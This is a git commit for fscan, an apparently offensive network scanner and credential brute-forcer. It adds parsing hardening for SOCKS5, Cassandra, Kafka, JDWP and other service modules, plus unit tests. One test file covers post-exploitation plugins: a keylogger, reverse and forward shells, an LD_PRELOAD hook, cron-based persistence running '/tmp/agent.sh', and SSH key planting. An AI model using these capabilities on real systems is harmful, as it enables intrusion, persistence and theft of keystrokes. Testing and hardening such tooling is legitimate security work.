Harden scan robustness and tests

This commit is contained in:
ZacharyZcR
2026-06-13 07:55:37 +08:00
parent 1595c92aed
commit 15a7670ba2
100 changed files with 4483 additions and 412 deletions
+117
View File
@@ -1,6 +1,7 @@
package plugins
import (
"context"
"testing"
"github.com/shadow1ng/fscan/common"
@@ -23,6 +24,122 @@ init_test.go - 插件系统核心逻辑测试
// GenerateCredentials - 核心凭据生成逻辑
// =============================================================================
func preservePluginRegistry(t *testing.T) {
t.Helper()
mutex.RLock()
snapshot := make(map[string]*PluginInfo, len(plugins))
for name, info := range plugins {
copied := *info
copied.ports = append([]int(nil), info.ports...)
copied.types = append([]string(nil), info.types...)
snapshot[name] = &copied
}
mutex.RUnlock()
t.Cleanup(func() {
mutex.Lock()
plugins = snapshot
mutex.Unlock()
})
}
type testPlugin struct {
BasePlugin
}
func (p testPlugin) Scan(context.Context, *common.HostInfo, *common.ScanSession) *Result {
return &Result{Type: ResultTypeService, Success: true}
}
func TestPluginRegistryMetadata(t *testing.T) {
preservePluginRegistry(t)
RegisterWithPorts("unit_tcp", func() Plugin {
return testPlugin{BasePlugin: NewBasePlugin("unit_tcp")}
}, []int{1234, 5678})
RegisterUDPWithPorts("unit_udp", func() Plugin {
return testPlugin{BasePlugin: NewBasePlugin("unit_udp")}
}, []int{161})
RegisterWithTypes("unit_local", func() Plugin {
return testPlugin{BasePlugin: NewBasePlugin("unit_local")}
}, nil, []string{PluginTypeLocal})
RegisterUnsafeWithTypes("unit_unsafe_web", func() Plugin {
return testPlugin{BasePlugin: NewBasePlugin("unit_unsafe_web")}
}, nil, []string{PluginTypeWeb})
if !Exists("unit_tcp") || Exists("missing_plugin") {
t.Fatal("Exists returned wrong result")
}
if got := Get("unit_tcp"); got == nil || got.Name() != "unit_tcp" {
t.Fatalf("Get(unit_tcp) = %#v", got)
}
if got := Get("missing_plugin"); got != nil {
t.Fatalf("Get(missing_plugin) = %#v, want nil", got)
}
if !HasType("unit_tcp", PluginTypeService) || !HasType("unit_local", PluginTypeLocal) {
t.Fatal("registered plugin types were not recorded")
}
if !IsUDP("unit_udp") || IsUDP("unit_tcp") {
t.Fatal("UDP metadata is wrong")
}
if !IsSafe("unit_tcp") || IsSafe("unit_local") || IsSafe("unit_unsafe_web") || IsSafe("missing_plugin") {
t.Fatal("safe metadata is wrong")
}
ports := GetPluginPorts("unit_tcp")
if len(ports) != 2 || ports[0] != 1234 || ports[1] != 5678 {
t.Fatalf("ports = %#v", ports)
}
if got := GetPluginPorts("missing_plugin"); len(got) != 0 {
t.Fatalf("missing plugin ports = %#v, want empty", got)
}
if !hasPluginType([]string{PluginTypeWeb, PluginTypeLocal}, PluginTypeLocal) ||
hasPluginType([]string{PluginTypeWeb}, PluginTypeUDP) {
t.Fatal("hasPluginType returned wrong result")
}
names := All()
for _, want := range []string{"unit_tcp", "unit_udp", "unit_local", "unit_unsafe_web"} {
if !containsPluginName(names, want) {
t.Fatalf("All() missing %q in %#v", want, names)
}
}
}
func TestPluginLocalModeHook(t *testing.T) {
preservePluginRegistry(t)
RegisterWithTypes("unit_local_mode", func() Plugin {
return testPlugin{BasePlugin: NewBasePlugin("unit_local_mode")}
}, nil, []string{PluginTypeLocal})
RegisterWithPorts("unit_service_mode", func() Plugin {
return testPlugin{BasePlugin: NewBasePlugin("unit_service_mode")}
}, []int{22})
if common.IsLocalMode == nil {
t.Fatal("IsLocalMode hook should be installed")
}
if !common.IsLocalMode("unit_local_mode") {
t.Fatal("single local plugin should be local mode")
}
if !common.IsLocalMode("unit_local_mode, unit_local_mode") {
t.Fatal("local plugin list should be local mode")
}
if common.IsLocalMode("") || common.IsLocalMode("all") || common.IsLocalMode("unit_local_mode,unit_service_mode") {
t.Fatal("non-local modes should not be local mode")
}
}
func containsPluginName(values []string, want string) bool {
for _, value := range values {
if value == want {
return true
}
}
return false
}
func TestGenerateCredentials_UserPassPairs_Priority(t *testing.T) {
/*
关键测试:UserPassPairs 应该优先于笛卡尔积
+152
View File
@@ -0,0 +1,152 @@
//go:build linux && !no_local
package local
import (
"os"
"path/filepath"
"strings"
"testing"
"github.com/shadow1ng/fscan/common"
)
func TestLocalPluginConstructors(t *testing.T) {
tests := []struct {
name string
got Plugin
}{
{name: "cleaner", got: NewCleanerPlugin()},
{name: "crontask", got: NewCronTaskPlugin()},
{name: "forwardshell", got: NewForwardShellPlugin()},
{name: "keylogger", got: NewKeyloggerPlugin()},
{name: "ldpreload", got: NewLDPreloadPlugin()},
{name: "reverseshell", got: NewReverseShellPlugin()},
{name: "socks5proxy", got: NewSocks5ProxyPlugin()},
{name: "sshkey", got: NewSSHKeyPlugin()},
{name: "systemdservice", got: NewSystemdServicePlugin()},
{name: "systeminfo", got: NewSystemInfoPlugin()},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
if tt.got == nil {
t.Fatal("constructor returned nil")
}
if got := tt.got.Name(); got != tt.name {
t.Fatalf("Name() = %q, want %q", got, tt.name)
}
})
}
}
func TestCronTaskScriptDetectionAndJobs(t *testing.T) {
plugin := NewCronTaskPlugin()
for _, name := range []string{"agent.sh", "agent.bash", "agent.zsh"} {
plugin.targetFile = name
if !plugin.isScriptFile() {
t.Fatalf("%s should be treated as script", name)
}
}
plugin.targetFile = "agent.bin"
if plugin.isScriptFile() {
t.Fatal("binary target should not be treated as script")
}
plugin.targetFile = "agent.sh"
jobs := plugin.generateCronJobs("/tmp/agent.sh")
if len(jobs) != 4 {
t.Fatalf("job count = %d, want 4", len(jobs))
}
for _, job := range jobs {
if !strings.Contains(job, "bash /tmp/agent.sh >/dev/null 2>&1") {
t.Fatalf("script cron job missing bash wrapper: %q", job)
}
}
}
func TestLDPreloadValidFileDetection(t *testing.T) {
dir := t.TempDir()
plugin := NewLDPreloadPlugin()
soPath := filepath.Join(dir, "libhook.so")
if err := os.WriteFile(soPath, []byte("not actually elf"), 0600); err != nil {
t.Fatal(err)
}
if !plugin.isValidFile(soPath) {
t.Fatal(".so file should be accepted by extension")
}
elfPath := filepath.Join(dir, "payload.bin")
if err := os.WriteFile(elfPath, []byte{0x7f, 'E', 'L', 'F', 0x02}, 0600); err != nil {
t.Fatal(err)
}
if !plugin.isValidFile(elfPath) {
t.Fatal("ELF magic file should be accepted")
}
textPath := filepath.Join(dir, "payload.txt")
if err := os.WriteFile(textPath, []byte("plain text"), 0600); err != nil {
t.Fatal(err)
}
if plugin.isValidFile(textPath) {
t.Fatal("plain text file should not be accepted")
}
}
func TestKeyloggerBufferAndFileHelpers(t *testing.T) {
dir := t.TempDir()
path := filepath.Join(dir, "keys.log")
session := common.NewScanSession(common.NewConfig(), common.NewState(), &common.FlagVars{})
plugin := NewKeyloggerPlugin()
if err := plugin.checkOutputFilePermissions(path); err != nil {
t.Fatalf("checkOutputFilePermissions error = %v", err)
}
if _, err := os.Stat(path); err != nil {
t.Fatalf("output file was not created: %v", err)
}
if err := plugin.saveKeysToFile(path, session); err != nil {
t.Fatalf("save empty keys error = %v", err)
}
plugin.addKeyToBuffer("A")
plugin.addKeyToBuffer("B")
if len(plugin.keyBuffer) != 2 {
t.Fatalf("key buffer length = %d, want 2", len(plugin.keyBuffer))
}
if err := plugin.saveKeysToFile(path, session); err != nil {
t.Fatalf("save keys error = %v", err)
}
content, err := os.ReadFile(path)
if err != nil {
t.Fatal(err)
}
if !strings.Contains(string(content), "A") || !strings.Contains(string(content), "B") {
t.Fatalf("saved key log missing entries: %q", content)
}
}
func TestShellUtilityHelpers(t *testing.T) {
prompt := NewForwardShellPlugin().getPrompt()
if !strings.HasSuffix(prompt, "$ ") && !strings.HasSuffix(prompt, "> ") && !strings.HasSuffix(prompt, "# ") {
t.Fatalf("unexpected prompt suffix: %q", prompt)
}
if dir := getCurrentDir(); dir == "" || dir == "unknown" {
t.Fatalf("getCurrentDir() = %q", dir)
}
pub, priv, err := NewSSHKeyPlugin().generateKeyPair()
if err != nil {
t.Fatalf("generateKeyPair error = %v", err)
}
if !strings.HasPrefix(pub, "ssh-ed25519 ") {
t.Fatalf("public key should be ssh-ed25519, got %q", pub)
}
if !strings.Contains(priv, "OPENSSH PRIVATE KEY") {
t.Fatal("private key should be OpenSSH PEM")
}
}
+47 -25
View File
@@ -160,21 +160,26 @@ func (p *Socks5ProxyPlugin) handleClient(ctx context.Context, clientConn net.Con
// handleSocks5Handshake 处理SOCKS5握手
func (p *Socks5ProxyPlugin) handleSocks5Handshake(conn net.Conn) error {
// 读取客户端握手请求
buffer := make([]byte, 256)
n, err := conn.Read(buffer)
if err != nil {
header := make([]byte, 2)
if _, err := io.ReadFull(conn, header); err != nil {
return fmt.Errorf("%s: %w", i18n.GetText("socks5_handshake_read_failed"), err)
}
if n < 3 || buffer[0] != 0x05 { // SOCKS版本必须是5
if header[0] != 0x05 || header[1] == 0 {
return fmt.Errorf("%s", i18n.GetText("socks5_unsupported_version"))
}
methods := make([]byte, int(header[1]))
if _, err := io.ReadFull(conn, methods); err != nil {
return fmt.Errorf("%s: %w", i18n.GetText("socks5_handshake_read_failed"), err)
}
if !containsByte(methods, 0x00) {
_, _ = conn.Write([]byte{0x05, 0xff})
return fmt.Errorf("%s", i18n.GetText("socks5_unsupported_version"))
}
// 发送握手响应(无认证)
response := []byte{0x05, 0x00} // 版本5,无认证
_, err = conn.Write(response)
if err != nil {
if _, err := conn.Write(response); err != nil {
return fmt.Errorf("%s: %w", i18n.GetText("socks5_handshake_write_failed"), err)
}
@@ -183,18 +188,16 @@ func (p *Socks5ProxyPlugin) handleSocks5Handshake(conn net.Conn) error {
// handleSocks5Request 处理SOCKS5连接请求
func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn, session *common.ScanSession) (net.Conn, int, error) {
// 读取连接请求
buffer := make([]byte, 256)
n, err := clientConn.Read(buffer)
if err != nil {
header := make([]byte, 4)
if _, err := io.ReadFull(clientConn, header); err != nil {
return nil, 0, fmt.Errorf("%s: %w", i18n.GetText("socks5_request_read_failed"), err)
}
if n < 7 || buffer[0] != 0x05 {
if header[0] != 0x05 || header[2] != 0x00 {
return nil, 0, fmt.Errorf("%s", i18n.GetText("socks5_invalid_request"))
}
cmd := buffer[1]
cmd := header[1]
if cmd != 0x01 { // 只支持CONNECT命令
// 发送不支持的命令响应
response := []byte{0x05, 0x07, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
@@ -203,40 +206,50 @@ func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn, session *co
}
// 解析目标地址
addrType := buffer[3]
addrType := header[3]
var targetHost string
var targetPort int
switch addrType {
case 0x01: // IPv4
if n < 10 {
addr := make([]byte, 6)
if _, err := io.ReadFull(clientConn, addr); err != nil {
return nil, 0, fmt.Errorf("%s", i18n.GetText("ipv4_address_invalid"))
}
targetHost = fmt.Sprintf("%d.%d.%d.%d", buffer[4], buffer[5], buffer[6], buffer[7])
targetPort = int(buffer[8])<<8 + int(buffer[9])
targetHost = fmt.Sprintf("%d.%d.%d.%d", addr[0], addr[1], addr[2], addr[3])
targetPort = int(addr[4])<<8 + int(addr[5])
case 0x03: // 域名
if n < 5 {
lenBuf := make([]byte, 1)
if _, err := io.ReadFull(clientConn, lenBuf); err != nil {
return nil, 0, fmt.Errorf("%s", i18n.GetText("domain_format_invalid"))
}
domainLen := int(buffer[4])
if n < 5+domainLen+2 {
domainLen := int(lenBuf[0])
if domainLen == 0 {
return nil, 0, fmt.Errorf("%s", i18n.GetText("domain_length_invalid"))
}
targetHost = string(buffer[5 : 5+domainLen])
targetPort = int(buffer[5+domainLen])<<8 + int(buffer[5+domainLen+1])
addr := make([]byte, domainLen+2)
if _, err := io.ReadFull(clientConn, addr); err != nil {
return nil, 0, fmt.Errorf("%s", i18n.GetText("domain_length_invalid"))
}
targetHost = string(addr[:domainLen])
targetPort = int(addr[domainLen])<<8 + int(addr[domainLen+1])
case 0x04: // IPv6
if n < 22 {
addr := make([]byte, 18)
if _, err := io.ReadFull(clientConn, addr); err != nil {
return nil, 0, fmt.Errorf("%s", i18n.GetText("ipv6_address_invalid"))
}
// IPv6地址解析(简化实现)
targetHost = net.IP(buffer[4:20]).String()
targetPort = int(buffer[20])<<8 + int(buffer[21])
targetHost = net.IP(addr[:16]).String()
targetPort = int(addr[16])<<8 + int(addr[17])
default:
// 发送不支持的地址类型响应
response := []byte{0x05, 0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
_, _ = clientConn.Write(response)
return nil, 0, fmt.Errorf(i18n.GetText("socks5_unsupported_address_type")+": %d", addrType)
}
if targetPort == 0 {
return nil, 0, fmt.Errorf("%s", i18n.GetText("socks5_invalid_request"))
}
// 连接目标服务器
targetAddr := net.JoinHostPort(targetHost, strconv.Itoa(int(targetPort)))
@@ -276,6 +289,15 @@ func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn, session *co
return targetConn, localPort, nil
}
func containsByte(values []byte, target byte) bool {
for _, value := range values {
if value == target {
return true
}
}
return false
}
// relayData 双向数据转发
func (p *Socks5ProxyPlugin) relayData(clientConn, targetConn net.Conn) {
done := make(chan struct{}, 2)
+94
View File
@@ -0,0 +1,94 @@
//go:build (plugin_socks5proxy || !plugin_selective) && !no_local
package local
import (
"bytes"
"io"
"net"
"testing"
"time"
)
type socksTestConn struct {
r bytes.Reader
w bytes.Buffer
}
func newSocksTestConn(data []byte) *socksTestConn {
return &socksTestConn{r: *bytes.NewReader(data)}
}
func (c *socksTestConn) Read(p []byte) (int, error) {
n, err := c.r.Read(p)
if err == io.EOF && n > 0 {
return n, nil
}
return n, err
}
func (c *socksTestConn) Write(p []byte) (int, error) { return c.w.Write(p) }
func (c *socksTestConn) Close() error { return nil }
func (c *socksTestConn) LocalAddr() net.Addr { return nil }
func (c *socksTestConn) RemoteAddr() net.Addr { return nil }
func (c *socksTestConn) SetDeadline(time.Time) error { return nil }
func (c *socksTestConn) SetReadDeadline(time.Time) error {
return nil
}
func (c *socksTestConn) SetWriteDeadline(time.Time) error {
return nil
}
func TestSocks5HandshakeValidation(t *testing.T) {
p := NewSocks5ProxyPlugin()
t.Run("truncated methods", func(t *testing.T) {
conn := newSocksTestConn([]byte{0x05, 0x02, 0x00})
if err := p.handleSocks5Handshake(conn); err == nil {
t.Fatal("handleSocks5Handshake() error = nil, want truncated method list error")
}
})
t.Run("no no-auth method", func(t *testing.T) {
conn := newSocksTestConn([]byte{0x05, 0x01, 0x02})
if err := p.handleSocks5Handshake(conn); err == nil {
t.Fatal("handleSocks5Handshake() error = nil, want unsupported method error")
}
if got := conn.w.Bytes(); !bytes.Equal(got, []byte{0x05, 0xff}) {
t.Fatalf("handshake response = % x, want 05 ff", got)
}
})
t.Run("accepts no-auth", func(t *testing.T) {
conn := newSocksTestConn([]byte{0x05, 0x02, 0x02, 0x00})
if err := p.handleSocks5Handshake(conn); err != nil {
t.Fatalf("handleSocks5Handshake() error = %v", err)
}
if got := conn.w.Bytes(); !bytes.Equal(got, []byte{0x05, 0x00}) {
t.Fatalf("handshake response = % x, want 05 00", got)
}
})
}
func TestSocks5RequestRejectsMalformedInputBeforeDial(t *testing.T) {
p := NewSocks5ProxyPlugin()
tests := []struct {
name string
req []byte
}{
{name: "bad reserved byte", req: []byte{0x05, 0x01, 0x01, 0x01}},
{name: "empty domain", req: []byte{0x05, 0x01, 0x00, 0x03, 0x00}},
{name: "truncated domain", req: []byte{0x05, 0x01, 0x00, 0x03, 0x04, 't', 'e'}},
{name: "zero ipv4 port", req: []byte{0x05, 0x01, 0x00, 0x01, 127, 0, 0, 1, 0, 0}},
{name: "truncated ipv6", req: []byte{0x05, 0x01, 0x00, 0x04, 0x20, 0x01}},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
if _, _, err := p.handleSocks5Request(newSocksTestConn(tt.req), nil); err == nil {
t.Fatal("handleSocks5Request() error = nil, want malformed request error")
}
})
}
}
+3
View File
@@ -158,6 +158,9 @@ func classifyActiveMQErrorType(err error) ErrorType {
// authenticateSTOMP 使用STOMP协议认证ActiveMQ
func (p *ActiveMQPlugin) authenticateSTOMP(conn net.Conn, username, password string, config *common.Config) (bool, error) {
timeout := config.Timeout
if err := rejectLineBreaks(username, password); err != nil {
return false, err
}
stompConnect := fmt.Sprintf("CONNECT\naccept-version:1.0,1.1,1.2\nhost:/\nlogin:%s\npasscode:%s\n\n\x00",
username, password)
+34 -15
View File
@@ -74,14 +74,16 @@ func (p *CassandraPlugin) createAuthFunc(info *common.HostInfo, config *common.C
//
// [1B version|flags] [2B stream] [1B opcode] [4B length] [body]
const (
cqlVersion = 0x84 // version=4, direction=request
cqlOpStartup = 0x01
cqlOpAuthRsp = 0x0f
cqlOpQuery = 0x07
cqlOpReady = 0x02
cqlOpAuthOk = 0x10
cqlOpAuthChl = 0x0e
cqlOpError = 0x00
cqlVersion = 0x84 // version=4, direction=request
cqlOpStartup = 0x01
cqlOpAuthRsp = 0x0f
cqlOpQuery = 0x07
cqlOpResult = 0x08
cqlOpReady = 0x02
cqlOpAuthOk = 0x10
cqlOpAuthChl = 0x0e
cqlOpError = 0x00
maxCQLFrameBody = 1024 * 1024
)
func (p *CassandraPlugin) doCassandraAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
@@ -157,8 +159,9 @@ func (p *CassandraPlugin) doCassandraAuth(ctx context.Context, info *common.Host
state.IncrementTCPFailedPacketCount()
return &AuthResult{Success: false, ErrorType: ErrorTypeNetwork, Error: err}
}
_ = body
_ = opcode
if err := validateCQLQueryResponse(opcode, body); err != nil {
return &AuthResult{Success: false, ErrorType: ErrorTypeAuth, Error: err}
}
state.IncrementTCPSuccessPacketCount()
return &AuthResult{Success: true, ErrorType: ErrorTypeUnknown, Error: nil}
@@ -187,7 +190,7 @@ func cqlSend(conn net.Conn, opcode byte, body []byte) error {
return err
}
func cqlRecv(conn net.Conn) (byte, []byte, error) {
func cqlRecv(conn io.Reader) (byte, []byte, error) {
// 读取 9 字节头部(响应也有额外标志字节)
header := make([]byte, 9)
if _, err := io.ReadFull(conn, header); err != nil {
@@ -195,8 +198,11 @@ func cqlRecv(conn net.Conn) (byte, []byte, error) {
}
opcode := header[4]
bodyLen := int(binary.BigEndian.Uint32(header[5:9]))
if bodyLen <= 0 || bodyLen > 1024*1024 {
return opcode, nil, nil
if bodyLen == 0 {
return opcode, []byte{}, nil
}
if bodyLen > maxCQLFrameBody {
return opcode, nil, fmt.Errorf("cassandra frame too large: %d", bodyLen)
}
body := make([]byte, bodyLen)
if _, err := io.ReadFull(conn, body); err != nil {
@@ -205,6 +211,16 @@ func cqlRecv(conn net.Conn) (byte, []byte, error) {
return opcode, body, nil
}
func validateCQLQueryResponse(opcode byte, body []byte) error {
if opcode == cqlOpError {
return fmt.Errorf("cassandra query failed: %s", string(body))
}
if opcode != cqlOpResult {
return fmt.Errorf("unexpected query opcode: %d", opcode)
}
return nil
}
// cqlStringMap CQL string map 编码: [2B count] [pairs: [2B len] [str]]
func cqlStringMap(m map[string]string) []byte {
var buf []byte
@@ -270,7 +286,7 @@ func (p *CassandraPlugin) tryNoAuthConnection(ctx context.Context, info *common.
state.IncrementTCPFailedPacketCount()
return nil
}
opcode, _, err := cqlRecv(conn)
opcode, body, err := cqlRecv(conn)
if err != nil || opcode != cqlOpReady {
return nil
}
@@ -280,10 +296,13 @@ func (p *CassandraPlugin) tryNoAuthConnection(ctx context.Context, info *common.
if err := cqlSend(conn, cqlOpQuery, queryBody); err != nil {
return nil
}
_, body, err := cqlRecv(conn)
opcode, body, err = cqlRecv(conn)
if err != nil {
return nil
}
if err := validateCQLQueryResponse(opcode, body); err != nil {
return nil
}
state.IncrementTCPSuccessPacketCount()
dummy := extractClusterName(body)
+49
View File
@@ -0,0 +1,49 @@
//go:build plugin_cassandra || !plugin_selective
package services
import (
"bytes"
"encoding/binary"
"strings"
"testing"
)
func TestCQLRecvRejectsTooLargeFrame(t *testing.T) {
header := make([]byte, 9)
header[4] = cqlOpReady
binary.BigEndian.PutUint32(header[5:9], maxCQLFrameBody+1)
_, _, err := cqlRecv(bytes.NewReader(header))
if err == nil {
t.Fatal("cqlRecv() error = nil, want too-large frame error")
}
if !strings.Contains(err.Error(), "too large") {
t.Fatalf("cqlRecv() error = %v, want too large", err)
}
}
func TestCQLRecvAllowsEmptyBody(t *testing.T) {
header := make([]byte, 9)
header[4] = cqlOpReady
opcode, body, err := cqlRecv(bytes.NewReader(header))
if err != nil {
t.Fatalf("cqlRecv() error = %v", err)
}
if opcode != cqlOpReady || len(body) != 0 {
t.Fatalf("cqlRecv() opcode=%d body=%q, want ready empty body", opcode, body)
}
}
func TestValidateCQLQueryResponseRejectsErrors(t *testing.T) {
if err := validateCQLQueryResponse(cqlOpResult, []byte("rows")); err != nil {
t.Fatalf("validateCQLQueryResponse() error = %v", err)
}
if err := validateCQLQueryResponse(cqlOpError, []byte("permission denied")); err == nil {
t.Fatal("validateCQLQueryResponse() error = nil, want query error")
}
if err := validateCQLQueryResponse(cqlOpReady, nil); err == nil {
t.Fatal("validateCQLQueryResponse() error = nil, want unexpected opcode error")
}
}
+1 -2
View File
@@ -7,7 +7,6 @@ import (
"crypto/tls"
"encoding/base64"
"fmt"
"io"
"net/http"
"github.com/shadow1ng/fscan/common"
@@ -107,7 +106,7 @@ func (p *ElasticsearchPlugin) testCredential(ctx context.Context, info *common.H
defer func() { _ = resp.Body.Close() }()
if resp.StatusCode == 200 {
body, err := io.ReadAll(resp.Body)
body, err := readServiceHTTPBody(resp.Body)
if err != nil {
return false
}
+15 -5
View File
@@ -6,6 +6,7 @@ import (
"context"
"fmt"
"strings"
"time"
ftplib "github.com/jlaffaye/ftp"
"github.com/shadow1ng/fscan/common"
@@ -80,7 +81,7 @@ func (p *FTPPlugin) createAuthFunc(info *common.HostInfo, config *common.Config,
func (p *FTPPlugin) doFTPAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
target := info.Target()
conn, err := ftplib.Dial(target, ftplib.DialWithTimeout(config.Timeout))
conn, err := ftplib.Dial(target, ftpDialOptions(ctx, config.Timeout)...)
if err != nil {
state.IncrementTCPFailedPacketCount()
return &AuthResult{
@@ -91,6 +92,11 @@ func (p *FTPPlugin) doFTPAuth(ctx context.Context, info *common.HostInfo, cred C
}
state.IncrementTCPSuccessPacketCount()
stopCancelClose := context.AfterFunc(ctx, func() {
_ = conn.Quit()
})
defer stopCancelClose()
err = conn.Login(cred.Username, cred.Password)
if err != nil {
_ = conn.Quit()
@@ -118,6 +124,13 @@ func (w *ftpConnWrapper) Close() error {
return w.Quit()
}
func ftpDialOptions(ctx context.Context, timeout time.Duration) []ftplib.DialOption {
return []ftplib.DialOption{
ftplib.DialWithTimeout(timeout),
ftplib.DialWithContext(ctx),
}
}
// classifyFTPErrorType FTP错误分类
func classifyFTPErrorType(err error) ErrorType {
if err == nil {
@@ -260,10 +273,7 @@ func (p *FTPPlugin) listFTPFiles(conn *ftplib.ServerConn) []string {
}
fileName := entry.Name
if len(fileName) > 50 {
fileName = fileName[:50] + "..."
}
files = append(files, fileName)
files = append(files, truncateRunes(fileName, 50))
}
return files
+9
View File
@@ -0,0 +1,9 @@
package services
import "io"
const maxServiceHTTPBodyBytes = 2 << 20
func readServiceHTTPBody(r io.Reader) ([]byte, error) {
return io.ReadAll(io.LimitReader(r, maxServiceHTTPBodyBytes))
}
+19
View File
@@ -0,0 +1,19 @@
//go:build plugin_elasticsearch || plugin_neo4j || plugin_rabbitmq || !plugin_selective
package services
import (
"strings"
"testing"
)
func TestReadServiceHTTPBodyIsBounded(t *testing.T) {
body := strings.NewReader(strings.Repeat("a", maxServiceHTTPBodyBytes+1024))
got, err := readServiceHTTPBody(body)
if err != nil {
t.Fatalf("readServiceHTTPBody error = %v", err)
}
if len(got) != maxServiceHTTPBodyBytes {
t.Fatalf("body len = %d, want %d", len(got), maxServiceHTTPBodyBytes)
}
}
@@ -0,0 +1,35 @@
//go:build !plugin_selective || plugin_neo4j || plugin_rabbitmq
package services
import (
"net"
"net/http/httptest"
"net/url"
"strconv"
"testing"
"github.com/shadow1ng/fscan/common"
)
func testSession() *common.ScanSession {
cfg := common.NewConfig()
return common.NewScanSession(cfg, common.NewState(), &common.FlagVars{})
}
func hostInfoFromServer(t *testing.T, server *httptest.Server) *common.HostInfo {
t.Helper()
u, err := url.Parse(server.URL)
if err != nil {
t.Fatalf("Parse server URL error = %v", err)
}
host, portText, err := net.SplitHostPort(u.Host)
if err != nil {
t.Fatalf("SplitHostPort error = %v", err)
}
port, err := strconv.Atoi(portText)
if err != nil {
t.Fatalf("Atoi port error = %v", err)
}
return &common.HostInfo{Host: host, Port: port}
}
+4 -2
View File
@@ -5,7 +5,6 @@ package services
import (
"bufio"
"context"
"fmt"
"strings"
"time"
@@ -88,7 +87,10 @@ func (p *IMAPPlugin) tryLogin(ctx context.Context, info *common.HostInfo, cred p
return nil
}
loginCmd := fmt.Sprintf("a001 LOGIN %s %s\r\n", cred.Username, cred.Password)
loginCmd, err := buildIMAPLoginCommand("a001", cred.Username, cred.Password)
if err != nil {
return nil
}
if _, err := conn.Write([]byte(loginCmd)); err != nil {
return nil
}
+3 -6
View File
@@ -76,7 +76,7 @@ func (p *JDWPPlugin) getVersion(conn interface {
}
header := make([]byte, 11)
if _, err := conn.Read(header); err != nil {
if _, err := io.ReadFull(conn, header); err != nil {
return ""
}
replyLen := int(header[0])<<24 | int(header[1])<<16 | int(header[2])<<8 | int(header[3])
@@ -85,7 +85,7 @@ func (p *JDWPPlugin) getVersion(conn interface {
}
body := make([]byte, replyLen-11)
if _, err := conn.Read(body); err != nil {
if _, err := io.ReadFull(conn, body); err != nil {
return ""
}
@@ -101,10 +101,7 @@ func parseJDWPVersionString(data []byte) string {
return ""
}
s := string(data[4 : 4+strLen])
if len(s) > 200 {
s = s[:200]
}
return s
return truncateRunes(s, 200)
}
func init() {
+67
View File
@@ -0,0 +1,67 @@
//go:build plugin_jdwp || !plugin_selective
package services
import (
"encoding/binary"
"io"
"strings"
"testing"
"time"
"unicode/utf8"
)
type chunkedJDWPConn struct {
data []byte
chunkSize int
}
func (c *chunkedJDWPConn) Read(p []byte) (int, error) {
if len(c.data) == 0 {
return 0, io.EOF
}
n := c.chunkSize
if n <= 0 || n > len(c.data) {
n = len(c.data)
}
if n > len(p) {
n = len(p)
}
copy(p, c.data[:n])
c.data = c.data[n:]
return n, nil
}
func (c *chunkedJDWPConn) Write([]byte) (int, error) { return 0, nil }
func (c *chunkedJDWPConn) SetDeadline(time.Time) error {
return nil
}
func TestJDWPGetVersionHandlesChunkedReads(t *testing.T) {
const version = "Java Debug Wire Protocol"
body := make([]byte, 4+len(version))
binary.BigEndian.PutUint32(body[:4], uint32(len(version)))
copy(body[4:], version)
reply := make([]byte, 11+len(body))
binary.BigEndian.PutUint32(reply[:4], uint32(len(reply)))
copy(reply[11:], body)
p := NewJDWPPlugin()
got := p.getVersion(&chunkedJDWPConn{data: reply, chunkSize: 3}, time.Second)
if got != version {
t.Fatalf("getVersion() = %q, want %q", got, version)
}
}
func TestParseJDWPVersionStringTruncatesByRune(t *testing.T) {
version := strings.Repeat("界", 205)
body := make([]byte, 4+len(version))
binary.BigEndian.PutUint32(body[:4], uint32(len(version)))
copy(body[4:], version)
got := parseJDWPVersionString(body)
if !utf8.ValidString(got) || len([]rune(got)) != 203 || !strings.HasSuffix(got, "...") {
t.Fatalf("parseJDWPVersionString() = %q", got)
}
}
+10 -5
View File
@@ -155,6 +155,8 @@ func (p *KafkaPlugin) doKafkaAuth(ctx context.Context, info *common.HostInfo, cr
var kafkaCorrelationID int32
const maxKafkaResponseSize = 1024 * 1024
func nextKafkaCorrelationID() int32 {
return atomic.AddInt32(&kafkaCorrelationID, 1) - 1
}
@@ -178,23 +180,26 @@ func kafkaSend(conn net.Conn, apiKey, apiVersion int16, body []byte) error {
return err
}
func kafkaRecv(conn net.Conn) ([]byte, error) {
func kafkaRecv(conn io.Reader) ([]byte, error) {
// 读取 4 字节长度
lenBuf := make([]byte, 4)
if _, err := io.ReadFull(conn, lenBuf); err != nil {
return nil, err
}
msgLen := int(binary.BigEndian.Uint32(lenBuf))
if msgLen < 4 {
return nil, fmt.Errorf("invalid kafka response length: %d", msgLen)
}
if msgLen > maxKafkaResponseSize {
return nil, fmt.Errorf("kafka response too large: %d", msgLen)
}
// 读取消息体
msg := make([]byte, msgLen)
if _, err := io.ReadFull(conn, msg); err != nil {
return nil, err
}
// 跳过 correlation_id (4B),返回 body
if len(msg) >= 4 {
return msg[4:], nil
}
return msg, nil
return msg[4:], nil
}
func kafkaString(s string) []byte {
+63
View File
@@ -0,0 +1,63 @@
//go:build plugin_kafka || !plugin_selective
package services
import (
"encoding/binary"
"io"
"testing"
)
type chunkedKafkaReader struct {
data []byte
chunkSize int
}
func (r *chunkedKafkaReader) Read(p []byte) (int, error) {
if len(r.data) == 0 {
return 0, io.EOF
}
n := len(r.data)
if r.chunkSize > 0 && n > r.chunkSize {
n = r.chunkSize
}
if n > len(p) {
n = len(p)
}
copy(p, r.data[:n])
r.data = r.data[n:]
return n, nil
}
func TestKafkaRecvHandlesChunkedResponse(t *testing.T) {
packet := make([]byte, 4+6)
binary.BigEndian.PutUint32(packet[:4], 6)
binary.BigEndian.PutUint32(packet[4:8], 123)
copy(packet[8:], []byte("ok"))
got, err := kafkaRecv(&chunkedKafkaReader{data: packet, chunkSize: 1})
if err != nil {
t.Fatalf("kafkaRecv() error = %v", err)
}
if string(got) != "ok" {
t.Fatalf("kafkaRecv() = %q, want ok", got)
}
}
func TestKafkaRecvRejectsTooLargeResponse(t *testing.T) {
packet := make([]byte, 4)
